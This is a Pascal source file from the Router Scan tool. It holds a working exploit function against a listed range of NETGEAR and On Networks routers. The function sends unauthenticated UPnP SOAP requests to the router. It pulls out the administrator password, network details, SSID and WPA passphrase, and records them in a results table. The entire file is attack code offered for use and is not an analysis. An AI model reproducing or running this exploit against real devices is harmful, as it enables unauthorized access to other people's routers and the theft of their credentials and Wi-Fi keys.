// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://cxsecurity.com/issue/WLB-2015020059

function TRouter.Exploit_NETGEAR_UPnP_SOAP(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  S: String;
  L: TStringList;
begin
  // Affected:
  // NETGEAR WNR1000v2
  // NETGEAR JWNR2000v2
  // NETGEAR WNR612v2
  // NETGEAR WNDR3700
  // NETGEAR WNR2000v4
  // NETGEAR WNR2000v5
  // NETGEAR WNR2200
  // NETGEAR WNR2500
  // NETGEAR WNR612ERT
  // NETGEAR WPN824N
  // On Networks N150R
  Result := False;
  if Pos('uhttpd', ServerName) <> 1 then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  L := TStringList.Create;
  L.Text := ' ';
  CustomHeaderList.Add('SOAPAction'#9'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo');
  if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/',
  L, S, Code, 5, 0, ServerName, False, AuthUser, AuthPass) then begin
    if Pos('<NewPassword>', S) > 0 then begin
      Result := True;
      AuthUser := 'admin';
      AuthPass := DeleteBetween(S, '<NewPassword>', '</NewPassword>');
      LAN := DeleteBetween(S, '<NewLANSubnet>', '</NewLANSubnet>');
      SetTableCell(stcLANMask, LAN);
      Tmp := DeleteBetween(S, '<NewLANMACAddress>', '</NewLANMACAddress>');
      if Tmp <> '' then
        BSSID := Tmp;
    end;
  end;
  CustomHeaderList.Clear;
  CustomHeaderList.Add('SOAPAction'#9'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo');
  if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/',
  L, S, Code, 5, 0, ServerName, False, AuthUser, AuthPass) then begin
    if Pos('<NewSSID>', S) > 0 then begin
      if DeleteBetween(S, '<NewStatus>', '</NewStatus>') = 'Down' then
        SetTableCell(stcRadioOff, stcCheckX);
      if DeleteBetween(S, '<NewSSIDBroadcast>', '</NewSSIDBroadcast>') = '0' then
        SetTableCell(stcHidden, stcCheckX);
      Tmp := DeleteBetween(S, '<NewWLANMACAddress>', '</NewWLANMACAddress>');
      if Tmp <> '' then
        BSSID := Tmp;
      SSID := DeleteBetween(S, '<NewSSID>', '</NewSSID>');
      SSID := ParseHTMLDecString(SSID);
      SetTableCell(stcSSID, SSID);
      if SSID = '' then
        BSSID := '';
      Tmp := DeleteBetween(S, '<NewBasicEncryptionModes>', '</NewBasicEncryptionModes>');
      if Tmp = 'WPA-PSK' then
        Sec := stcSecPSK1;
      if Tmp = 'WPA2-PSK' then
        Sec := stcSecPSK2;
      if Tmp = 'WPA-PSK/WPA2-PSK' then
        Sec := stcSecPSK12;
      SetTableCell(stcSec, Sec);
    end;
  end;
  if BSSID <> '' then begin
    Insert(':', BSSID, 11);
    Insert(':', BSSID, 9);
    Insert(':', BSSID, 7);
    Insert(':', BSSID, 5);
    Insert(':', BSSID, 3);
    SetTableCell(stcBSSID, BSSID);
  end;
  CustomHeaderList.Clear;
  CustomHeaderList.Add('SOAPAction'#9'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys');
  if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/',
  L, S, Code, 5, 0, ServerName, False, AuthUser, AuthPass) then begin
    if Pos('<NewWPAPassphrase>', S) > 0 then begin
      Pasw := DeleteBetween(S, '<NewWPAPassphrase>', '</NewWPAPassphrase>');
      SetTableCell(stcKey, Pasw);
    end;
  end;
  CustomHeaderList.Clear;
  L.Free;
end;
